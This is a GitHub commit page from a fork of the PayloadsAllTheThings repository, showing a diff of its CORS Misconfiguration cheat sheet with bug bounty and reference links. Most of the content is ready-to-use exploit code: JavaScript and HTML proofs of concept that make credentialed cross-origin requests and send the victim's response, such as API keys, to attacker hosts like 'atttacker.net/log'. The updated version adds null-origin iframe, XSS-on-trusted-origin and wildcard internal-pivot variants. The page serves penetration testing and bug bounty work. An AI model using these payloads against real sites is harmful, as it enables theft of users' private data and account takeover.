forked from swisskyrepo/PayloadsAllTheThings
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #1 from swisskyrepo/master
pull from main repository
- Loading branch information
Showing
52 changed files
with
1,898 additions
and
381 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,90 +1,185 @@ | ||
| # CORS Misconfiguration | ||
|
|
||
| > A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’s site using the victim’s credentials. | ||
| ## Summary | ||
|
|
||
| * [Prerequisites](#prerequisites) | ||
| * [Exploitation](#exploitation) | ||
| * [References](#references) | ||
|
|
||
| ## Prerequisites | ||
|
|
||
| * BURP HEADER> `Origin: https://evil.com` | ||
| * VICTIM HEADER> `Access-Control-Allow-Credential: true` | ||
| * VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` | ||
|
|
||
| ## Exploitation | ||
|
|
||
| Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target **https://victim.example.com/endpoint**. | ||
|
|
||
| ### Vulnerable example | ||
|
|
||
| ```powershell | ||
| GET /endpoint HTTP/1.1 | ||
| Host: victim.example.com | ||
| Origin: https://evil.com | ||
| Cookie: sessionid=... | ||
| HTTP/1.1 200 OK | ||
| Access-Control-Allow-Origin: https://evil.com | ||
| Access-Control-Allow-Credentials: true | ||
| {"[private API key]"} | ||
| ``` | ||
|
|
||
| ### Proof of concept | ||
|
|
||
| ```js | ||
| var req = new XMLHttpRequest(); | ||
| req.onload = reqListener; | ||
| req.open('get','https://victim.example.com/endpoint',true); | ||
| req.withCredentials = true; | ||
| req.send(); | ||
|
|
||
| function reqListener() { | ||
| location='//atttacker.net/log?key='+this.responseText; | ||
| }; | ||
| ``` | ||
|
|
||
| or | ||
|
|
||
| ```html | ||
| <html> | ||
| <body> | ||
| <h2>CORS PoC</h2> | ||
| <div id="demo"> | ||
| <button type="button" onclick="cors()">Exploit</button> | ||
| </div> | ||
| <script> | ||
| function cors() { | ||
| var xhr = new XMLHttpRequest(); | ||
| xhr.onreadystatechange = function() { | ||
| if (this.readyState == 4 && this.status == 200) { | ||
| document.getElementById("demo").innerHTML = alert(this.responseText); | ||
| } | ||
| }; | ||
| xhr.open("GET", | ||
| "https://victim.example.com/endpoint", true); | ||
| xhr.withCredentials = true; | ||
| xhr.send(); | ||
| } | ||
| </script> | ||
| </body> | ||
| </html> | ||
| ``` | ||
|
|
||
| ## Bug Bounty reports | ||
|
|
||
| * [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax)](https://hackerone.com/reports/168574) | ||
| * [CORS misconfig | Account Takeover - niche.co - Rohan (nahoragg)](https://hackerone.com/reports/426147) | ||
| * [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy)](https://hackerone.com/reports/235200) | ||
| * [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t)](https://hackerone.com/reports/430249) | ||
| * [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7)](https://hackerone.com/reports/470298) | ||
|
|
||
| ## References | ||
|
|
||
| * [Think Outside the Scope: Advanced CORS Exploitation Techniques - @Sandh0t - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) | ||
| * [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle | 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) | ||
| * [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - DECEMBER 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/) | ||
| * [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://www.corben.io/advanced-cors-techniques/) | ||
| # CORS Misconfiguration | ||
|
|
||
| > A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’s site using the victim’s credentials. | ||
| ## Summary | ||
|
|
||
| * [Tools](#tools) | ||
| * [Prerequisites](#prerequisites) | ||
| * [Exploitation](#exploitation) | ||
| * [References](#references) | ||
|
|
||
| ## Tools | ||
|
|
||
| * [Corsy - CORS Misconfiguration Scanner](https://github.com/s0md3vCorsy/) | ||
|
|
||
| ## Prerequisites | ||
|
|
||
| * BURP HEADER> `Origin: https://evil.com` | ||
| * VICTIM HEADER> `Access-Control-Allow-Credential: true` | ||
| * VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null` | ||
|
|
||
| ## Exploitation | ||
|
|
||
| Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target **https://victim.example.com/endpoint**. | ||
|
|
||
| ### Vulnerable Example: Origin Reflection | ||
|
|
||
| #### Vulnerable Implementation | ||
|
|
||
| ```powershell | ||
| GET /endpoint HTTP/1.1 | ||
| Host: victim.example.com | ||
| Origin: https://evil.com | ||
| Cookie: sessionid=... | ||
| HTTP/1.1 200 OK | ||
| Access-Control-Allow-Origin: https://evil.com | ||
| Access-Control-Allow-Credentials: true | ||
| {"[private API key]"} | ||
| ``` | ||
|
|
||
| #### Proof of concept | ||
|
|
||
| ```js | ||
| var req = new XMLHttpRequest(); | ||
| req.onload = reqListener; | ||
| req.open('get','https://victim.example.com/endpoint',true); | ||
| req.withCredentials = true; | ||
| req.send(); | ||
|
|
||
| function reqListener() { | ||
| location='//atttacker.net/log?key='+this.responseText; | ||
| }; | ||
| ``` | ||
|
|
||
| or | ||
|
|
||
| ```html | ||
| <html> | ||
| <body> | ||
| <h2>CORS PoC</h2> | ||
| <div id="demo"> | ||
| <button type="button" onclick="cors()">Exploit</button> | ||
| </div> | ||
| <script> | ||
| function cors() { | ||
| var xhr = new XMLHttpRequest(); | ||
| xhr.onreadystatechange = function() { | ||
| if (this.readyState == 4 && this.status == 200) { | ||
| document.getElementById("demo").innerHTML = alert(this.responseText); | ||
| } | ||
| }; | ||
| xhr.open("GET", | ||
| "https://victim.example.com/endpoint", true); | ||
| xhr.withCredentials = true; | ||
| xhr.send(); | ||
| } | ||
| </script> | ||
| </body> | ||
| </html> | ||
| ``` | ||
|
|
||
| ### Vulnerable Example: Null Origin | ||
|
|
||
| #### Vulnerable Implementation | ||
|
|
||
| It's possible that the server does not reflect the complete `Origin` header but | ||
| that the `null` origin is allowed. This would look like this in the server's | ||
| response: | ||
|
|
||
| ``` | ||
| GET /endpoint HTTP/1.1 | ||
| Host: victim.example.com | ||
| Origin: null | ||
| Cookie: sessionid=... | ||
| HTTP/1.1 200 OK | ||
| Access-Control-Allow-Origin: null | ||
| Access-Control-Allow-Credentials: true | ||
| {"[private API key]"} | ||
| ``` | ||
|
|
||
| #### Proof of concept | ||
|
|
||
| This can be exploited by putting the attack code into an iframe using the data | ||
| URI scheme. If the data URI scheme is used, the browser will use the `null` | ||
| origin in the request: | ||
|
|
||
| ```html | ||
| <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script> | ||
| var req = new XMLHttpRequest (); | ||
| req.onload = reqListener; | ||
| req.open('get','https://victim.example.com/endpoint',true); | ||
| req.withCredentials = true; | ||
| req.send(); | ||
| function reqListener() { | ||
| location='https://attacker.example.net/log?key='+encodeURIComponent(this.responseText); | ||
| }; | ||
| </script>"></iframe> | ||
| ``` | ||
|
|
||
| ### Vulnerable Example: XSS on Trusted Origin | ||
|
|
||
| If the application does implement a strict whitelist of allowed origins, the | ||
| exploit codes from above do not work. But if you have an XSS on a trusted | ||
| origin, you can inject the exploit coded from above in order to exploit CORS | ||
| again. | ||
|
|
||
| ``` | ||
| https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script> | ||
| ``` | ||
|
|
||
| ### Vulnerable Example: Wildcard Origin `*` without Credentials | ||
|
|
||
| If the server responds with a wildcard origin `*`, the browser does never send | ||
| the cookies. However, if the server does not require authentication, it's still | ||
| possible to access the data on the server. This can happen on internal servers | ||
| that are not accessible from the Internet. The attacker's website can then | ||
| pivot into the internal network and access the server's data withotu | ||
| authentication. | ||
|
|
||
| #### Vulnerable Implementation | ||
|
|
||
| ```powershell | ||
| GET /endpoint HTTP/1.1 | ||
| Host: api.internal.example.com | ||
| Origin: https://evil.com | ||
| HTTP/1.1 200 OK | ||
| Access-Control-Allow-Origin: * | ||
| {"[private API key]"} | ||
| ``` | ||
|
|
||
| #### Proof of concept | ||
|
|
||
| ```js | ||
| var req = new XMLHttpRequest(); | ||
| req.onload = reqListener; | ||
| req.open('get','https://api.internal.example.com/endpoint',true); | ||
| req.send(); | ||
|
|
||
| function reqListener() { | ||
| location='//atttacker.net/log?key='+this.responseText; | ||
| }; | ||
| ``` | ||
|
|
||
| ## Bug Bounty reports | ||
|
|
||
| * [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax)](https://hackerone.com/reports/168574) | ||
| * [CORS misconfig | Account Takeover - niche.co - Rohan (nahoragg)](https://hackerone.com/reports/426147) | ||
| * [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy)](https://hackerone.com/reports/235200) | ||
| * [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t)](https://hackerone.com/reports/430249) | ||
| * [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7)](https://hackerone.com/reports/470298) | ||
|
|
||
| ## References | ||
|
|
||
| * [Think Outside the Scope: Advanced CORS Exploitation Techniques - @Sandh0t - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) | ||
| * [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle | 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) | ||
| * [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - DECEMBER 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/) | ||
| * [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://www.corben.io/advanced-cors-techniques/) | ||
| * [PortSwigger Web Security Academy: CORS](https://portswigger.net/web-security/cors) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.